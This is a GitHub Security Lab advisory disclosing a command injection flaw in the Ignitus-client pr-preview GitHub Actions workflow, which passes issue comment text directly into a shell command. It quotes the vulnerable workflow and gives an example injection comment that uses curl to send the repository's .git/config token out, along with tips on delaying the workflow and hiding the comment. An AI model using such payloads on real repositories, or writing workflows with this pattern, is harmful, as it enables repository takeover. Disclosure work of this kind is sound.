skip to content
Back to
Home Research Advisories CodeQL Wall of Fame Get Involved Events
February 3, 2021

GHSL-2020-193: Command injection in Ignitus/Ignitus-client workflow

Jaroslav Lobačevski

Coordinated Disclosure Timeline


The ‘pr-preview.yml’ GitHub workflow is vulnerable to arbitrary command injection.


Ignitus/Ignitus-client GitHub repository

Tested Version

pr-preview.yml from the master branch.


Issue: The public GitHub issue comment is used to format a shell command

When a user comments on a public issue it automatically starts the pr-preview.yml GitHub workflow. The comment text is used to format a bash script.

    types: [created]
    name: Deploy Preview of PR
    runs-on: ubuntu-latest
      - uses: actions/setup-node@v1
      - uses: actions/checkout@v2
      - run: npm install yaml -s
      - run: echo "::set-env name=worker::$( node ./scripts/deploy-preview/verify.js ${{ github.event.comment.user.login }} "${{ github.event.comment.body }}" )"


This vulnerability allows for arbitrary command injection into the bash script. For example a user may comment with "; curl -d @.git/config; sleep 10 )" which will exfiltrate the temporary GitHub repository authorization token to the attacker controlled server. Although the token is not valid after the workflow finishes, since the attacker controls the execution of the workflow he or she can delay it to give the malicious server time to modify the repository. To make the attack less visible the attacker may modify the comment later.


This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).


You can contact the GHSL team at, please include a reference to GHSL-2020-193 in any communication regarding this issue.